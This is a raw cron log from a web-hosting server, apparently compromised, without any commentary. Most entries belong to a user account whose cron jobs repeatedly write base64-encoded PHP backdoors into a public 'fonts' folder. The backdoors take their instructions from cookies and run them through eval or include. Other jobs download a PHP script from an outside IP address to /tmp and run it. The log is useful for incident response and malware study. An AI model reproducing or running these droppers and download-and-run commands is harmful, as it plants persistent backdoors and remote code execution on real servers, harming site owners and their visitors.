Aug 31 03:00:01 ip-184-168-122-23 CROND[17157]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 03:00:01 ip-184-168-122-23 CROND[17160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:00:01 ip-184-168-122-23 CROND[17161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:00:01 ip-184-168-122-23 CROND[17163]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:00:01 ip-184-168-122-23 CROND[17166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:00:01 ip-184-168-122-23 CROND[17164]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:00:01 ip-184-168-122-23 CROND[17169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:00:01 ip-184-168-122-23 CROND[17165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:01:01 ip-184-168-122-23 CROND[17269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:01:01 ip-184-168-122-23 CROND[17271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:01:01 ip-184-168-122-23 CROND[17272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:01:01 ip-184-168-122-23 CROND[17274]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 03:01:01 ip-184-168-122-23 CROND[17273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:01:01 ip-184-168-122-23 CROND[17276]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17276]: starting 0anacron
Aug 31 03:01:01 ip-184-168-122-23 anacron[17292]: Anacron started on 2026-08-31
Aug 31 03:01:01 ip-184-168-122-23 anacron[17292]: Will run job `cron.daily' in 25 min.
Aug 31 03:01:01 ip-184-168-122-23 anacron[17292]: Jobs will be executed sequentially
Aug 31 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17294]: finished 0anacron
Aug 31 03:02:01 ip-184-168-122-23 CROND[17373]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:02:01 ip-184-168-122-23 CROND[17376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:02:01 ip-184-168-122-23 CROND[17375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:02:01 ip-184-168-122-23 CROND[17374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:02:01 ip-184-168-122-23 CROND[17377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:03:01 ip-184-168-122-23 CROND[17469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:03:01 ip-184-168-122-23 CROND[17472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:03:01 ip-184-168-122-23 CROND[17473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:03:01 ip-184-168-122-23 CROND[17471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:04:01 ip-184-168-122-23 CROND[17569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:04:01 ip-184-168-122-23 CROND[17571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:04:01 ip-184-168-122-23 CROND[17574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:04:01 ip-184-168-122-23 CROND[17572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:04:01 ip-184-168-122-23 CROND[17573]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:05:01 ip-184-168-122-23 CROND[17688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:05:01 ip-184-168-122-23 CROND[17689]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:05:01 ip-184-168-122-23 CROND[17692]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 03:05:01 ip-184-168-122-23 CROND[17693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:05:01 ip-184-168-122-23 CROND[17695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:05:01 ip-184-168-122-23 CROND[17696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:05:02 ip-184-168-122-23 CROND[17694]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:06:02 ip-184-168-122-23 CROND[17798]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:06:02 ip-184-168-122-23 CROND[17797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:06:02 ip-184-168-122-23 CROND[17796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:06:02 ip-184-168-122-23 CROND[17803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:06:02 ip-184-168-122-23 CROND[17801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:07:01 ip-184-168-122-23 CROND[17976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:07:01 ip-184-168-122-23 CROND[17978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:07:01 ip-184-168-122-23 CROND[17977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:07:01 ip-184-168-122-23 CROND[17975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:08:01 ip-184-168-122-23 CROND[18060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:08:01 ip-184-168-122-23 CROND[18062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:08:01 ip-184-168-122-23 CROND[18064]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:08:01 ip-184-168-122-23 CROND[18065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:08:01 ip-184-168-122-23 CROND[18063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:09:01 ip-184-168-122-23 CROND[18204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:09:01 ip-184-168-122-23 CROND[18205]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 03:09:01 ip-184-168-122-23 CROND[18206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:09:01 ip-184-168-122-23 CROND[18209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:09:01 ip-184-168-122-23 CROND[18210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:10:01 ip-184-168-122-23 CROND[18328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:10:01 ip-184-168-122-23 CROND[18330]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 03:10:01 ip-184-168-122-23 CROND[18334]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:10:01 ip-184-168-122-23 CROND[18337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:10:01 ip-184-168-122-23 CROND[18336]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:10:01 ip-184-168-122-23 CROND[18340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:10:01 ip-184-168-122-23 CROND[18341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:10:01 ip-184-168-122-23 CROND[18338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:11:02 ip-184-168-122-23 CROND[18445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:11:02 ip-184-168-122-23 CROND[18448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:11:02 ip-184-168-122-23 CROND[18446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
